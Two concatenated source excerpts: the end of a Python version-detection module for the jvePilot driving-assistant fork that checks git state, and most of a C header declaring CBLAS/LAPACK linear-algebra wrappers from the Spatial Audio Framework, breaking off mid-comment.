return run_cmd_default(["git", "rev-parse", "--abbrev-ref", "--symbolic-full-name", "@{u}"], default=default)
def get_git_remote(default: Optional[str] = None) -> Optional[str]:
try:
local_branch = run_cmd(["git", "name-rev", "--name-only", "HEAD"])
tracking_remote = run_cmd(["git", "config", "branch." + local_branch + ".remote"])
return run_cmd(["git", "config", "remote." + tracking_remote + ".url"])
except subprocess.CalledProcessError: # Not on a branch, fallback
return run_cmd_default(["git", "config", "--get", "remote.origin.url"], default=default)
with open(os.path.join(os.path.dirname(os.path.abspath(__file__)), "common", "version.h")) as _versionf:
version = _versionf.read().split('"')[1]
prebuilt = os.path.exists(os.path.join(BASEDIR, 'prebuilt'))
training_version: bytes = b"0.2.0"
terms_version: bytes = b"2"
dirty: bool = True
comma_remote: bool = False
tested_branch: bool = False
origin = get_git_remote()
branch = get_git_full_branchname()
commit = get_git_commit()
if (origin is not None) and (branch is not None):
try:
comma_remote = origin.startswith('git@github.com:j-vanetten') or origin.startswith('https://github.com/j-vanetten')
tested_branch = get_git_branch() in ['jvePilot-release', 'origin/jvePilot-release']
dirty = False
# Actually check dirty files
if not prebuilt:
# This is needed otherwise touched files might show up as modified
try:
subprocess.check_call(["git", "update-index", "--refresh"])
except subprocess.CalledProcessError:
pass
dirty = (subprocess.call(["git", "diff-index", "--quiet", branch, "--"]) != 0)
# Log dirty files
if dirty and (comma_remote):
try:
dirty_files = run_cmd(["git", "diff-index", branch, "--"])
cloudlog.event("dirty jvePilot branch", version=version, dirty=dirty, origin=origin, branch=branch,
dirty_files=dirty_files, commit=commit, origin_commit=get_git_commit(branch))
except subprocess.CalledProcessError:
pass
dirty = dirty or (not comma_remote)
dirty = dirty or ('master' in branch)
except subprocess.CalledProcessError:
dirty = True
cloudlog.exception("git subprocess failed while checking dirty")
if __name__ == "__main__":
print("Dirty: %s" % dirty)
print("Version: %s" % version)
print("Remote: %s" % origin)
print("Branch: %s" % branch)
print("Prebuilt: %s" % prebuilt)
|
/*
* Copyright 2016-2018 Leo McCormack
*
* Permission to use, copy, modify, and/or distribute this software for any
* purpose with or without fee is hereby granted, provided that the above
* copyright notice and this permission notice appear in all copies.
*
* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH
* REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
* AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,
* INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
* LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR
* OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
* PERFORMANCE OF THIS SOFTWARE.
*/
/**
*@addtogroup Utilities
*@{
* @file saf_utility_veclib.h
* @brief Wrappers for optimised linear algebra routines, utilising CBLAS and
* LAPACK
*
* @author Leo McCormack
* @date 11.07.2016
*/
#ifndef SAF_VECLIB_H_INCLUDED
#define SAF_VECLIB_H_INCLUDED
#ifdef __cplusplus
extern "C" {
#endif /* __cplusplus */
#include <math.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include "saf_utility_complex.h"
#include "saf_utility_error.h"
/**
* Whether a vector should be conjugated or not (e.g. prior to dot product) */
typedef enum {
NO_CONJ = 1, /**< Do not take the conjugate */
CONJ = 2 /**< Take the conjugate */
}CONJ_FLAG;
/* KEY:
* ? -> s -> single floating-point precision
* ? -> d -> double floating-point precision
* ? -> c -> complex single floating-point precision
* ? -> z -> complex double floating-point precision
*
* s -> scalar
* v -> vector
* m -> matrix */
/* ========================================================================== */
/* Find Index of Min-Abs-Value (?iminv) */
/* ========================================================================== */
/**
* Single-precision, index of minimum absolute value in a vector, i.e.
* \code{.m}
* [~,ind] = min(abs(a))
* \endcode
*
* @param[in] a Input vector a; len x 1
* @param[in] len Vector length
* @param[out] index (&) Index of minimum value; 1 x 1
*/
void utility_siminv(/* Input Arguments */
const float* a,
const int len,
/* Output Arguments */
int* index);
/**
* Single-precision, complex, index of maximum absolute value in a vector, i.e.
* \code{.m}
* [~,ind] = min(abs(a))
* \endcode
*
* @param[in] a Input vector a; len x 1
* @param[in] len Vector length
* @param[out] index (&) index of minimum value; 1 x 1
*/
void utility_ciminv(/* Input Arguments */
const float_complex* a,
const int len,
/* Output Arguments */
int* index);
/* ========================================================================== */
/* Find Index of Max-Abs-Value (?imaxv) */
/* ========================================================================== */
/**
* Single-precision, index of maximum absolute value in a vector, i.e.
* \code{.m}
* [~,ind] = max(abs(a))
* \endcode
*
* @param[in] a Input vector a; len x 1
* @param[in] len Vector length
* @param[out] index (&) index of maximum value; 1 x 1
*/
void utility_simaxv(/* Input Arguments */
const float* a,
const int len,
/* Output Arguments */
int* index);
/**
* Single-precision, complex, index of maximum absolute value in a vector, i.e.
* \code{.m}
* [~,ind] = max(abs(a))
* \endcode
*
* @param[in] a Input vector a; len x 1
* @param[in] len Vector length
* @param[out] index (&) index of maximum value; 1 x 1
*/
void utility_cimaxv(/* Input Arguments */
const float_complex* a,
const int len,
/* Output Arguments */
int* index);
/* ========================================================================== */
/* Vector-Abs (?vabs) */
/* ========================================================================== */
/**
* Single-precision, absolute values of vector elements, i.e.
* \code{.m}
* c = abs(a)
* \endcode
*
* @param[in] a Input vector a; len x 1
* @param[in] len Vector length
* @param[out] c Output vector c; len x 1
*/
void utility_svabs(/* Input Arguments */
const float* a,
const int len,
/* Output Arguments */
float* c);
/**
* Single-precision, complex, absolute values of vector elements, i.e.
* \code{.m}
* c = abs(a)
* \endcode
*
* @param[in] a Input vector a; len x 1
* @param[in] len Vector length
* @param[out] c Output vector c; len x 1
*/
void utility_cvabs(/* Input Arguments */
const float_complex* a,
const int len,
/* Output Arguments */
float* c);
/* ========================================================================== */
/* Vector-Modulus (?vmod) */
/* ========================================================================== */
/**
* Single-precision, modulus of vector elements, i.e.
* \code{.m}
* c = mod(a,b)
* \endcode
*
* @param[in] a Input vector a; len x 1
* @param[in] b Input vector b; len x 1
* @param[in] len Vector length
* @param[out] c Output vector c; len x 1
*/
void utility_svmod(/* Input Arguments */
const float* a,
const float* b,
const int len,
/* Output Arguments */
float* c);
/* ========================================================================== */
/* Vector-Vector Copy (?vvcopy) */
/* ========================================================================== */
/**
* Single-precision, vector-vector copy, i.e.
* \code{.m}
* c = a
* \endcode
*
* @param[in] a Input vector a; len x 1
* @param[in] len Vector length
* @param[out] c Output vector c; len x 1
*/
void utility_svvcopy(/* Input Arguments */
const float* a,
const int len,
/* Output Arguments */
float* c);
/**
* Single-precision, complex, vector-vector copy, i.e.
* \code{.m}
* c = a
* \endcode
*
* @param[in] a Input vector a; len x 1
* @param[in] len Vector length
* @param[out] c Output vector c; len x 1
*/
void utility_cvvcopy(/* Input Arguments */
const float_complex* a,
const int len,
/* Output Arguments */
float_complex* c);
/**
* double-precision, vector-vector copy, i.e.
* \code{.m}
* c = a
* \endcode
*
* @param[in] a Input vector a; len x 1
* @param[in] len Vector length
* @param[out] c Output vector c; len x 1
*/
void utility_dvvcopy(/* Input Arguments */
const double* a,
const int len,
/* Output Arguments */
double* c);
/**
* double-precision, complex, vector-vector copy, i.e.
* \code{.m}
* c = a
* \endcode
*
* @param[in] a Input vector a; len x 1
* @param[in] len Vector length
* @param[out] c Output vector c; len x 1
*/
void utility_zvvcopy(/* Input Arguments */
const double_complex* a,
const int len,
/* Output Arguments */
double_complex* c);
/* ========================================================================== */
/* Vector-Vector Addition (?vvadd) */
/* ========================================================================== */
/**
* Single-precision, vector-vector addition, i.e.
* \code{.m}
* c = a+b
* \endcode
*
* @param[in] a Input vector a; len x 1
* @param[in] b Input vector b; len x 1
* @param[in] len Vector length
* @param[out] c Output vector c; len x 1
*/
void utility_svvadd(/* Input Arguments */
float* a,
const float* b,
const int len,
/* Output Arguments */
float* c);
/**
* Single-precision, complex, vector-vector addition, i.e.
* \code{.m}
* c = a+b
* \endcode
*
* @param[in] a Input vector a; len x 1
* @param[in] b Input vector b; len x 1
* @param[in] len Vector length
* @param[out] c Output vector c; len x 1
*/
void utility_cvvadd(/* Input Arguments */
float_complex* a,
const float_complex* b,
const int len,
/* Output Arguments */
float_complex* c);
/* ========================================================================== */
/* Vector-Vector Subtraction (?vvsub) */
/* ========================================================================== */
/**
* Single-precision, vector-vector subtraction, i.e.
* \code{.m}
* c = a-b
* \endcode
*
* @param[in] a Input vector a; len x 1
* @param[in] b Input vector b; len x 1
* @param[in] len Vector length
* @param[out] c Output vector c; len x 1
*/
void utility_svvsub(/* Input Arguments */
float* a,
const float* b,
const int len,
/* Output Arguments */
float* c);
/**
* Single-precision, complex, vector-vector subtraction, i.e.
* \code{.m}
* c = a-b
* \endcode
*
* @param[in] a Input vector a; len x 1
* @param[in] b Input vector b; len x 1
* @param[in] len Vector length
* @param[out] c Output vector c; len x 1
*/
void utility_cvvsub(/* Input Arguments */
float_complex* a,
const float_complex* b,
const int len,
/* Output Arguments */
float_complex* c);
/* ========================================================================== */
/* Vector-Vector Multiplication (?vvmul) */
/* ========================================================================== */
/**
* Single-precision, element-wise vector-vector multiplication i.e.
* \code{.m}
* c = a.*b
* \endcode
*
* @param[in] a Input vector a; len x 1
* @param[in] b Input vector b; len x 1
* @param[in] len Vector length
* @param[out] c Output vector c
*/
void utility_svvmul(/* Input Arguments */
float* a,
const float* b,
const int len,
/* Output Arguments */
float* c);
/**
* Single-precision, complex, element-wise vector-vector multiplication i.e.
* \code{.m}
* c = a.*b
* \endcode
*
* @param[in] a Input vector a; len x 1
* @param[in] b Input vector b; len x 1
* @param[in] len Vector length
* @param[out] c Output vector c; len x 1
*/
void utility_cvvmul(/* Input Arguments */
float_complex* a,
const float_complex* b,
const int len,
/* Output Arguments */
float_complex* c);
/* ========================================================================== */
/* Vector-Vector Multiplication and Addition (?vvmuladd) */
/* ========================================================================== */
/**
* Single-precision, element-wise vector-vector multiplication and addition,
* i.e.
* \code{.m}
* c = c + a.*b
* \endcode
*
* @param[in] a Input vector a; len x 1
* @param[in] b Input vector b; len x 1
* @param[in] len Vector length
* @param[in,out] c Input/Output vector c
*/
void utility_svvmuladd(/* Input Arguments */
float* a,
const float* b,
const int len,
/* Input/Output Arguments */
float* c);
/* ========================================================================== */
/* Vector-Vector Dot Product (?vvdot) */
/* ========================================================================== */
/**
* Single-precision, vector-vector dot product, i.e.
* \code{.m}
* c = a*b^T, (where size(c) = [1 1])
* \endcode
*
* @param[in] a Input vector a; len x 1
* @param[in] b Input vector b; len x 1
* @param[in] len Vector length
* @param[out] c (&) output vector c; 1 x 1
*/
void utility_svvdot(/* Input Arguments */
const float* a,
const float* b,
const int len,
/* Output Arguments */
float* c);
/**
* Single-precision, complex, vector-vector dot product, i.e.
* \code{.m}
* c = a*b^T, (where size(c) = [1 1])
* \endcode
*
* @param[in] a Input vector a; len x 1
* @param[in] b Input vector b; len x 1
* @param[in] flag '0' do not take the conjugate of 'b', '1', take the
* conjugate of 'b'. (see #CONJ_FLAG enum)
* @param[in] len Vector length
* @param[out] c (&) output vector c; 1 x 1
*/
void utility_cvvdot(/* Input Arguments */
const float_complex* a,
const float_complex* b,
const int len,
CONJ_FLAG flag,
/* Output Arguments */
float_complex* c);
/* ========================================================================== */
/* Vector-Scalar Product (?vsmul) */
/* ========================================================================== */
/**
* Single-precision, multiplies each element in vector 'a' with a scalar 's',
* i.e.
* \code{.m}
* c = a.*s, OR: a = a.*s (if c==NULL)
* \endcode
*
* @param[in] a Input vector a, and output if c==NULL; len x 1
* @param[in] s (&) input scalar s; 1 x 1
* @param[in] len Vector length
* @param[out] c Output vector c (set to NULL if you want 'a' as output);
* len x 1
*/
void utility_svsmul(/* Input Arguments */
float* a,
const float* s,
const int len,
/* Output Arguments */
float* c);
/**
* Single-precision, complex, multiplies each element in vector 'a' with a
* scalar 's', i.e.
* \code{.m}
* c = a.*s, OR: a = a.*s (if c==NULL)
* \endcode
*
* @param[in] a Input vector a, and output if c==NULL; len x 1
* @param[in] s (&) input scalar s; 1 x 1
* @param[in] len Vector length
* @param[out] c Output vector c (set to NULL if you want 'a' as output);
*/
void utility_cvsmul(/* Input Arguments */
float_complex* a,
const float_complex* s,
const int len,
/* Output Arguments */
float_complex* c);
/**
* Double-precision, multiplies each element in vector 'a' with a scalar 's',
* i.e.
* \code{.m}
* c = a.*s, OR: a = a.*s (if c==NULL)
* \endcode
*
* @param[in] a Input vector a, and output if c==NULL; len x 1
* @param[in] s (&) input scalar s; 1 x 1
* @param[in] len Vector length
* @param[out] c Output vector c (set to NULL if you want 'a' as output);
* len x 1
*/
void utility_dvsmul(/* Input Arguments */
double* a,
const double* s,
const int len,
/* Output Arguments */
double* c);
/**
* Double-precision, complex, multiplies each element in vector 'a' with a
* scalar 's', i.e.
* \code{.m}
* c = a.*s, OR: a = a.*s (if c==NULL)
* \endcode
*
* @param[in] a Input vector a, and output if c==NULL; len x 1
* @param[in] s (&) input scalar s; 1 x 1
* @param[in] len Vector length
* @param[out] c Output vector c (set to NULL if you want 'a' as output);
*/
void utility_zvsmul(/* Input Arguments */
double_complex* a,
const double_complex* s,
const int len,
/* Output Arguments */
double_complex* c);
/* ========================================================================== */
/* Vector-Scalar Division (?vsdiv) */
/* ========================================================================== */
/**
* Single-precision, divides each element in vector 'a' with a scalar 's',
* i.e.
* \code{.m}
* c = a./s
* \endcode
*
* @param[in] a Input vector a; len x 1
* @param[in] s (&) input scalar s; 1 x 1
* @param[in] len Vector length
* @param[out] c Output vector c; len x 1
*/
void utility_svsdiv(/* Input Arguments */
float* a,
const float* s,
const int len,
/* Output Arguments */
float* c);
/* ========================================================================== */
/* Vector-Scalar Addition (?vsadd) */
/* ========================================================================== */
/**
* Single-precision, adds each element in vector 'a' with a scalar 's', i.e.
* \code{.m}
* c = a+s
* \endcode
*
* @param[in] a Input vector a; len x 1
* @param[in] s (&) input scalar s; 1 x 1
* @param[in] len Vector length
* @param[out] c Output vector c; len x 1
*/
void utility_svsadd(/* Input Arguments */
float* a,
const float* s,
const int len,
/* Output Arguments */
float* c);
/* ========================================================================== */
/* Vector-Scalar Subtraction (?vssub) */
/* ========================================================================== */
/**
* Single-precision, subtracts each element in vector 'a' with a scalar 's',
* i.e.
* \code{.m}
* c = a-s,
* \endcode
*
* @param[in] a Input vector a; len x 1
* @param[in] s (&) input scalar s; 1 x 1
* @param[in] len Vector length
* @param[out] c Output vector c; len x 1
*/
void utility_svssub(/* Input Arguments */
float* a,
const float* s,
const int len,
/* Output Arguments */
float* c);
/* ========================================================================== */
/* Sparse-Vector to Compressed-Vector (Known Indices) (?sv2cv_inds) */
/* ========================================================================== */
/**
* Single-precision, sparse-vector to compressed vector given known indices
* i.e.
* \code{.m}
* cv = sv(inds)
* \endcode
*
* @warning 'sv' must be of at least max(inds) in length!
*
* @param[in] sv Input sparse-vector; ? x 1
* @param[in] inds Indices; len x 1
* @param[in] len Compressed-vector length/number of indices
* @param[out] cv Output compressed-vector; len x 1
*/
void utility_ssv2cv_inds(/* Input Arguments */
const float* sv,
const int* inds,
const int len,
/* Output Arguments */
float* cv);
/* ========================================================================== */
/* Singular-Value Decomposition (?svd) */
/* ========================================================================== */
/**
* Singular value decomposition: single precision, i.e.
* \code{.m}
* [U,S,V] = svd(A); such that A = U*S*V.' = U*diag(sing)*V.'
* \endcode
*
* @note 'S' contains the singular values along the diagonal, whereas 'sing' are
* the singular values as a vector. Also, V is returned untransposed!
* (like in Matlab)
*
* @param[in] A Input matrix; FLAT: dim1 x dim2
* @param[in] dim1 First dimension of matrix 'A'
* @param[in] dim2 Second dimension of matrix 'A'
* @param[out] U Left matrix (set to NULL if not needed); FLAT: dim1 x dim1
* @param[out] S Singular values along the diagonal min(dim1, dim2), (set to
* NULL if not needed); FLAT: dim1 x dim2
* @param[out] V Right matrix (UNTRANSPOSED!) (set to NULL if not needed);
* FLAT: dim2 x dim2
* @param[out] sing Singular values as a vector, (set to NULL if not needed);
* min(dim1, dim2) x 1
*/
void utility_ssvd(/* Input Arguments */
const float* A,
const int dim1,
const int dim2,
/* Output Arguments */
float* U,
float* S,
float* V,
float* sing);
/**
* Singular value decomposition: single precision complex, i.e.
* \code{.m}
* [U,S,V] = svd(A); such that A = U*S*V' = U*diag(sing)*V'
* \endcode
*
* @note 'S' contains the singular values along the diagonal, whereas 'sing' are
* the singular values as a vector. Also, V is returned untransposed!
* (like in Matlab)
*
* @param[in] A Input matrix; FLAT: dim1 x dim2
* @param[in] dim1 First dimension of matrix 'A'
* @param[in] dim2 Second dimension of matrix 'A'
* @param[out] U Left matrix (set to NULL if not needed); FLAT: dim1 x dim1
* @param[out] S Singular values along the diagonal min(dim1, dim2), (set to
* NULL if not needed); FLAT: dim1 x dim2
* @param[out] V Right matrix (UNTRANSPOSED!) (set to NULL if not needed);
* FLAT: dim2 x dim2
* @param[out] sing Singular values as a vector, (set to NULL if not needed);
* min(dim1, dim2) x 1
*/
void utility_csvd(/* Input Arguments */
const float_complex* A,
const int dim1,
const int dim2,
/* Output Arguments */
float_complex* U,
float_complex* S,
float_complex* V,
float* sing);
/* ========================================================================== */
/* Symmetric Eigenvalue Decomposition (?seig) */
/* ========================================================================== */
/**
* Eigenvalue decomposition of a SYMMETRIC matrix: single precision,
* i.e.
* \code{.m}
* [V,D] = eig(A); where A*V = V*D, and A*V = V*diag(eig)
* \endcode
*
* @note 'D' contains the eigen values along the diagonal, while 'eig' are the
* eigen values as a vector
*
* @param[in] A Input SYMMETRIC square matrix; FLAT: dim x dim
* @param[in] dim Dimensions for square matrix 'A'
* @param[in] sortDecFLAG '1' sort eigen values and vectors in decending order.
* '0' ascending
* @param[out] V Eigen vectors (set to NULL if not needed);
* FLAT: dim x dim
* @param[out] D Eigen values along the diagonal (set to NULL if not
* needed); FLAT: dim x dim
* @param[out] eig Eigen values not diagonalised (set to NULL if not
* needed); dim x 1
*/
void utility_sseig(/* Input Arguments */
const float* A,
const int dim,
int sortDecFLAG,
/* Output Arguments */
float* V,
float* D,
float* eig);
/**
* Eigenvalue decomposition of a SYMMETRIC/HERMITION matrix: single
* precision complex, i.e.
* \code{.m}
* [V,D] = eig(A); where A*V = V*D, and A*V = V*diag(eig)
* \endcode
*
* @note 'D' contains the eigen values along the diagonal, while 'eig' are the
* eigen values as a vector
*
* @param[in] A Input SYMMETRIC square matrix; FLAT: dim x dim
* @param[in] dim Dimensions for square matrix 'A'
* @param[in] sortDecFLAG '1' sort eigen values and vectors in decending order.
* '0' ascending
* @param[out] V Eigen vectors (set to NULL if not needed);
* FLAT: dim x dim
* @param[out] D Eigen values along the diagonal (set to NULL if not
* needed); FLAT: dim x dim
* @param[out] eig Eigen values not diagonalised (set to NULL if not
* needed); dim x 1
*/
void utility_cseig(/* Input Arguments */
const float_complex* A,
const int dim,
int sortDecFLAG,
/* Output Arguments */
float_complex* V,
float_complex* D,
float* eig);
/* ========================================================================== */
/* Eigenvalues of Matrix Pair (?eigmp) */
/* ========================================================================== */
/**
* Computes eigenvalues of a matrix pair using the QZ method, single precision
* complex, i.e.
* \code{.m}
* [VL,VR,D] = eig(A,B,'qz'); where A*VL = B*VL*VR
* \endcode
*
* @param[in] A Input left square matrix; FLAT: dim x dim
* @param[in] B Input right square matrix; FLAT: dim x dim
* @param[in] dim Dimensions for square matrices 'A' and 'B'
* @param[out] VL Left Eigen vectors (set to NULL if not needed);
* FLAT: dim x dim
* @param[out] VR Right Eigen vectors (set to NULL if not needed);
* FLAT: dim x dim
* @param[out] D Eigen values along the diagonal (set to NULL if not needed);
* FLAT: dim x dim
*/
void utility_ceigmp(/* Input Arguments */
const float_complex* A,
const float_complex* B,
const int dim,
/* Output Arguments */
float_complex* VL,
float_complex* VR,
float_complex* D);
/**
* Computes eigenvalues of a matrix pair using the QZ method, double precision
* complex, i.e.
* \code{.m}
* [VL,VR,D] = eig(A,B,'qz'); where A*VL = B*VL*VR
* \endcode
*
* @param[in] A Input left square matrix; FLAT: dim x dim
* @param[in] B Input right square matrix; FLAT: dim x dim
* @param[in] dim Dimensions for square matrices 'A' and 'B'
* @param[out] VL Left Eigen vectors (set to NULL if not needed);
* FLAT: dim x dim
* @param[out] VR Right Eigen vectors (set to NULL if not needed);
* FLAT: dim x dim
* @param[out] D Eigen values along the diagonal (set to NULL if not needed);
* FLAT: dim x dim
*/
void utility_zeigmp(/* Input Arguments */
const double_complex* A,
const double_complex* B,
const int dim,
/* Output Arguments */
double_complex* VL,
double_complex* VR,
double_complex* D);
/* ========================================================================== */
/* Eigenvalue Decomposition (?eig) */
/* ========================================================================== */
/**
* Eigenvalue decomposition of a NON-SYMMETRIC matrix: single precision complex,
* i.e.
* \code{.m}
* [VL,VR,D] = eig(A); where A*VR = VR*D, and A*VR = VR*diag(eig)
* \endcode
*
* @note 'D' contains the eigen values along the diagonal, while 'eig' are the
* eigen values as a vector
*
* @param[in] A Input NON-SYMMETRIC square matrix; FLAT: dim x dim
* @param[in] dim Dimensions for square matrix 'A'
* @param[out] VL Left Eigen vectors (set to NULL if not needed);
* FLAT: dim x dim
* @param[out] VR Right Eigen vectors (set to NULL if not needed);
* FLAT: dim x dim
* @param[out] D Eigen values along the diagonal (set to NULL if not needed);
* FLAT: dim x dim
* @param[out] eig Eigen values not diagonalised (set to NULL if not needed);
* dim x 1
*/
void utility_ceig(/* Input Arguments */
const float_complex* A,
const int dim,
/* Output Arguments */
float_complex* VL,
float_complex* VR,
float_complex* D,
float_complex* eig);
/**
* Eigenvalue decomposition of a NON-SYMMETRIC matrix: double precision complex,
* i.e.
* \code{.m}
* [VL,VR,D] = eig(A); where A*VR = VR*D, and A*VR = VR*diag(eig)
* \endcode
*
* @note 'D' contains the eigen values along the diagonal, while 'eig' are the
* eigen values as a vector.
*
* @param[in] A Input NON-SYMMETRIC square matrix; FLAT: dim x dim
* @param[in] dim Dimensions for square matrix 'A'
* @param[out] VL Left Eigen vectors (set to NULL if not needed);
* FLAT: dim x dim
* @param[out] VR Right Eigen vectors (set to NULL if not needed);
* FLAT: dim x dim
* @param[out] D Eigen values along the diagonal (set to NULL if not needed);
* FLAT: dim x dim
* @param[out] eig Eigen values not diagonalised (set to NULL if not needed);
* dim x 1
*/
void utility_zeig(/* Input Arguments */
const double_complex* A,
const int dim,
/* Output Arguments */
double_complex* VL,
double_complex* VR,
double_complex* D,
double_complex* eig);
/* ========================================================================== */
/* General Linear Solver (?glslv) */
/* ========================================================================== */
/**
* General linear solver: single precision, i.e.
* \code{.m}
* X = linsolve(A,B) = A\B; where, AX = B
* \endcode
*
* @param[in] A Input square matrix; FLAT: dim x dim
* @param[in] dim Dimensions for square matrix 'A'
* @param[in] B Right hand side matrix; FLAT: dim x nCol
* @param[in] nCol Number of columns in right hand side matrix
* @param[out] X The solution; FLAT: dim x nCol
*/
void utility_sglslv(/* Input Arguments */
const float* A,
const int dim,
float* B,
int nCol,
/* Output Arguments */
float* X);
/**
* General linear solver: single precision complex, i.e.
* \code{.m}
* X = linsolve(A,B) = A\B; where, AX = B
* \endcode
*
* @param[in] A Input square matrix; FLAT: dim x dim
* @param[in] dim Dimensions for square matrix 'A'
* @param[in] B Right hand side matrix; FLAT: dim x nCol
* @param[in] nCol Number of columns in right hand side matrix
* @param[out] X The solution; FLAT: dim x nCol
*/
void utility_cglslv(/* Input Arguments */
const float_complex* A,
const int dim,
float_complex* B,
int nCol,
/* Output Arguments */
float_complex* X);
/**
* General linear solver: double precision, i.e.
* \code{.m}
* X = linsolve(A,B) = A\B; where, AX = B
* \endcode
*
* @param[in] A Input square matrix; FLAT: dim x dim
* @param[in] dim Dimensions for square matrix 'A'
* @param[in] B Right hand side matrix; FLAT: dim x nCol
* @param[in] nCol Number of columns in right hand side matrix
* @param[out] X The solution; FLAT: dim x nCol
*/
void utility_dglslv(/* Input Arguments */
const double* A,
const int dim,
double* B,
int nCol,
/* Output Arguments */
double* X);
/**
* General linear solver: double precision complex, i.e.
* \code{.m}
* X = linsolve(A,B) = A\B; where, AX = B
* \endcode
*
* @param[in] A Input square matrix; FLAT: dim x dim
* @param[in] dim Dimensions for square matrix 'A'
* @param[in] B Right hand side matrix; FLAT: dim x nCol
* @param[in] nCol Number of columns in right hand side matrix
* @param[out] X The solution; FLAT: dim x nCol
*/
void utility_zglslv(/* Input Arguments */
const double_complex* A,
const int dim,
double_complex* B,
int nCol,
/* Output Arguments */
double_complex* X);
/* ========================================================================== */
/* General Linear Solver (?glslvt) */
/* ========================================================================== */
/**
* General linear solver (the other way): single precision, i.e.
* \code{.m}
* X = linsolve(B.',A.').' = A/B;
* \endcode
*
* @param[in] A Input square matrix; FLAT: dim x dim
* @param[in] dim Dimensions for square matrix 'A'
* @param[in] B Right hand side matrix; FLAT: dim x nCol
* @param[in] nCol Number of columns in right hand side matrix
* @param[out] X The solution; FLAT: dim x nCol
*/
void utility_sglslvt(/* Input Arguments */
const float* A,
const int dim,
float* B,
int nCol,
/* Output Arguments */
float* X);
/**
* General linear solver (the other way): single precision complex, i.e.
* \code{.m}
* X = linsolve(B',A')' = A/B;
* \endcode
*
* @warning UNSURE IF THIS IS CORRECT!
*
* @param[in] A Input square matrix; FLAT: dim x dim
* @param[in] dim Dimensions for square matrix 'A'
* @param[in] B Right hand side matrix; FLAT: dim x nCol
* @param[in] nCol Number of columns in right hand side matrix
* @param[out] X The solution; FLAT: dim x nCol
*/
void utility_cglslvt(/* Input Arguments */
const float_complex* A,
const int dim,
float_complex* B,
int nCol,
/* Output Arguments */
float_complex* X);
/* ========================================================================== */
/* Symmetric Linear Solver (?slslv) */
/* ========================================================================== */
/**
* Linear solver for SYMMETRIC positive-definate 'A': single precision, i.e.
* \code{.m}
* opts.LT=true
* X = linsolve(A,B, opts); where, AX = B, and 'A' is a symmetric matrix
* \endcode
*
* @param[in] A Input square SYMMETRIC positive-definate matrix; FLAT: dim x dim
* @param[in] dim Dimensions for square matrix 'A'
* @param[in] B Right hand side matrix; FLAT: dim x nCol
* @param[in] nCol Number of columns in right hand side matrix
* @param[out] X The solution; FLAT: dim x nCol
*/
void utility_sslslv(/* Input Arguments */
const float* A,
const int dim,
float* B,
int nCol,
/* Output Arguments */
float* X);
/**
* Linear solver for HERMITIAN positive-definate 'A': single precision complex,
* i.e.
* \code{.m}
* opts.LT=true
* X = linsolve(A,B, opts); where, AX = B, and 'A' is a hermition matrix
* \endcode
*
* @param[in] A Input square SYMMETRIC positive-definate matrix; FLAT: dim x dim
* @param[in] dim Dimensions for square matrix 'A'
* @param[in] B Right hand side matrix; FLAT: dim x nCol
* @param[in] nCol Number of columns in right hand side matrix
* @param[out] X The solution; FLAT: dim x nCol
*/
void utility_cslslv(/* Input Arguments */
const float_complex* A,
const int dim,
float_complex* B,
int nCol,
/* Output Arguments */
float_complex* X);
/* ========================================================================== */
/* Matrix Pseudo-Inverse (?pinv) */
/* ========================================================================== */
/**
* General matrix pseudo-inverse (the svd way): single precision, i.e.
* \code{.m}
* B = pinv(A)
* \endcode
*
* @param[in] A Input matrix; FLAT: dim1 x dim2
* @param[in] dim1 Number of rows in 'A' / columns in 'B'
* @param[in] dim2 Number of columns in 'A' / rows in 'B'
* @param[out] B The solution; FLAT: dim2 x dim1
*/
void utility_spinv(/* Input Arguments */
const float* A,
const int dim1,
const int dim2,
/* Output Arguments */
float* B);
/**
* General matrix pseudo-inverse (the svd way): single precision complex, i.e.
* \code{.m}
* B = pinv(A)
* \endcode
*
* @param[in] A Input matrix; FLAT: dim1 x dim2
* @param[in] dim1 Number of rows in 'A' / columns in 'B'
* @param[in] dim2 Number of columns in 'A' / rows in 'B'
* @param[out] B The solution; FLAT: dim2 x dim1
*/
void utility_cpinv(/* Input Arguments */
const float_complex* A,
const int dim1,
const int dim2,
/* Output Arguments */
float_complex* B);
/**
* General matrix pseudo-inverse (the svd way): double precision, i.e.
* \code{.m}
* B = pinv(A)
* \endcode
*
* @param[in] A Input matrix; FLAT: dim1 x dim2
* @param[in] dim1 Number of rows in 'A' / columns in 'B'
* @param[in] dim2 Number of columns in 'A' / rows in 'B'
* @param[out] B The solution; FLAT: dim2 x dim1
*/
void utility_dpinv(/* Input Arguments */
const double* A,
const int dim1,
const int dim2,
/* Output Arguments */
double* B);
/**
* General matrix pseudo-inverse (the svd way): double precision complex, i.e.
* \code{.m}
* B = pinv(A)
* \endcode
*
* @param[in] A Input matrix; FLAT: dim1 x dim2
* @param[in] dim1 Number of rows in 'A' / columns in 'B'
* @param[in] dim2 Number of columns in 'A' / rows in 'B'
* @param[out] B The solution; FLAT: dim2 x dim1
*/
void utility_zpinv(/* Input Arguments */
const double_complex* A,
const int dim1,
const int dim2,
/* Output Arguments */
double_complex* B);
/* ========================================================================== */
/* Cholesky Factorisation (?chol) */
/* ========================================================================== */
/**
* Cholesky factorisation of a symmetric matrix positive-definate matrix: single
* precision, i.e.
* \code{.m}
* X = chol(A); where A = X.'*X
* \endcode
*
* @param[in] A Input square symmetric positive-definate matrix;
* FLAT: dim x dim
* @param[in] dim Number of rows/colums in 'A'
* @param[out] X The solution; FLAT: dim x dim
*/
void utility_schol(/* Input Arguments */
const float* A,
const int dim,
/* Output Arguments */
float* X);
/**
* Cholesky factorisation of a hermitian positive-definate matrix: single
* precision complex, i.e.
* \code{.m}
* X = chol(A); where A = X.'*X
* \endcode
*
* @param[in] A Input square symmetric positive-definate matrix;
* FLAT: dim x dim
* @param[in] dim Number of rows/colums in 'A'
* @param[out] X The solution; FLAT: dim x dim
*/
void utility_cchol(/* Input Arguments */
const float_complex* A,
const int dim,
/* Output Arguments */
float_complex* X);
/* ========================================================================== */
/* Determinant of a Matrix (?det) */
/* ========================================================================== */
/**
